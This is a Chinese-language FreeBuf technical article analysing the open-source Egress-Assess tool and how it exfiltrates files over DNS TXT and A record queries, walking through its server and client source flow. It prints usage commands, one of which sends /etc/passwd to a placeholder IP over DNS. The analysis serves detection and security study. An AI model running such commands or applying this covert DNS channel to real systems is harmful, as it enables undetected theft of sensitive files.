文章目录
免责声明:本文作者竭力保证文章内容可靠,但对于任何错误、疏漏或不准确的内容,作者不负任何责任。文章部分内容来源于网络是出于传递更多信息的目的,对此不负任何法律责任。本文仅用于技术分享与讨论,严禁用于其他用途。
系列文章回顾:
在之前的文章中已经对DET、PyExfil和DNSExfiltrator三个开源项目利用DNS完成数据窃取进行了简要分析。本文将继续讨论如图1中所示的本次关注的最后一个开源工具Egress-Assess。
图1 DET、PyExfil、DNSExfiltrator、Egress-Assess的首页展示
Egress-Assess是一个用于测试数据泄露检测能力的开源项目[1]。该项目搭建了基本框架,并实现了利用多种协议完成数据窃取,将该项目源码结构梳理如图2。从图2中可以看出,Egress-Assess项目实现的可利用协议主要有:dns、ftp、http、https、icmp、sftp、smb、smtp等,我们重点关注利用DNS完成数据窃取的部分。
图2Egress-Assess项目概况
Egress-Assess采用C/S模式,运行工具需要先搭建服务端,然后客户端运行、参数配置后进行数据窃取。Egress-Assess的使用提示如图3,以利用DNS进行数据窃取为例:
DNS服务端使用命令启动:pythonEgress-Assess.py –server dns
启动客户端利用DNS发送窃密数据:python Egress-Assess.py–client dns –ip 1.1.1.1 –file /etc/passwd
图3Egress-Assess使用提示
Egress-Assess在利用DNS完成数据窃取时,服务端源码文件为protocols/servers/dns_server.py,它可以同时处理来自客户端的的TXT、A记录请求。而客户端则分别在Protocols/clients/dns_client.py、protocols/clients/dns_resolved.py中,实现了使用DNS TXT记录和A记录发送窃密数据的工作。
服务端使用了DNSlib库,改进版本的服务端可以监听在53端口响应来自客户端的DNSTXT和A记录查询,并获取源自客户端的窃密数据包;然后提取、恢复文件数据,完成传输后恢复窃密文件到本地。服务端接收成功页面如图4。
图4服务端接收成功的页面
对服务端源码文件protocols/servers/dns_server.py进行梳理,其源码概况如图5。
图5 Egress-Assess服务端源码概况
总结Egress-Assess服务端工作的主要流程有:
1) 使用SocketServer库的ThreadUDPServer()方法建立多线程的socket,监听在53端口。实现部分是server类中的startDnsServer方法。
2) 对收到的UDP包进行预处理、提取请求数据。主要是具体实现SocketServer.BaseRequestHandler中的get_data()、send_data方法。
3) 文件数据接收准备。包括初始化一些全局量,并从UDP包中提取DNS部分。提取DNS部分的方法为handleDNSRequest()。
4) 根据DNS查询的不同记录类型(A记录、TXT记录),调用不同的函数handleDNSTXT()、handleDNSResolved()来进行文件数据存储、恢复。
【handleDNSTXT( )函数处理大致流程】:
1) 提取并解码DNS中的qname。
2) 若提取的qname中包含结束符”ENDTHISFILETRANSMISSIONEGRESSASSESS”,该qname的组成示例如图6;则从该qname中提取file_name,并调用writeFile函数将全局量FILE_DICT存储的文件数据块按序号依次写入本地文件。
图6qname示例
3) 若qname中不包含分隔符“.:|:.”,则将解码数据写入一个以当前系统日期加上时间组成的txt文件中。
4) 若qname中包含分隔符”.:|:.”,切分后提取序号、文件数据存入全局字典变量FILE_DICT中。
【handleDNSResolved()函数处理流程】
1) 将收到的qname中的字符’.—’替换回“=”,此操作的原因是:避免base64编码后=与子域名中=的相互混淆。
2) 按“.”号切分qname,根据不同情况分别处理。
3) 若切分后列表parts[0]为结束符”ENDTHISFILETRANSMISSIONEGRESSASSESS”,则从parts[1]中提取文件名,并调用writeFile方法将全局量FILE_DICT中的文件数据块按序号恢复到本地文件。
4)对parts[0]进行base64解码,若包含分割符“.:|:.”,则按分隔符再次切分,提取序号、文件数据块,并存入全局量FILE_DICT。
客户端通过不同的参数’dns’、’dns_resolved’分别启动利用DNS TXT记录、A记录窃取数据。分别对应文件protocols/clients/dns_client.py和protocols/client/dns_resolved.py。通过源码分析发现,两份源码思路类似,不同点主要体现在对数据的嵌入、利用A记录两方面。以下整理部分将已利用DNS TXT记录为例展开简要分析。
图7dns_client.py源码概况
梳理dns_client.py的源码概况如图7,整理客户端发送窃密数据的主要流程:
1) 初始化准备。主要包括命令行参数读取、限定值初始化、提取文件等。
2) 通过–ip指定的参数,若为域名,则先通过DNS查询解析该域名,获得服务端ip地址。
3) 通过限定值、文件数据信息,计算文件块(所需发送的DNS请求包)总数。
4) 按 3)计算值,对每个文件数据块进行编码后嵌入到DNS TXT查询包中,并发送该请求包到服务端,其中文件块数据包的组成结构如图8。
图8文件块数据包的组成结构
5) 发送结束包,标识文件块传输结束;服务端通过识别该包中的结束符启动文件数据恢复。其中,结束包的组成结构如图9。
图9结束包的组成结构
1)使用SocketServer库的多线程可以并行处理收到的数据包。
2)直接传送文件数据,而无需第一个初始化包。
没有加入文件数据校验,在网络环境较差的情况下,可能致使窃取的文件不完整而不自知。
*本文作者:GZHU/asUwIll,转载请注明来自FreeBuf.COM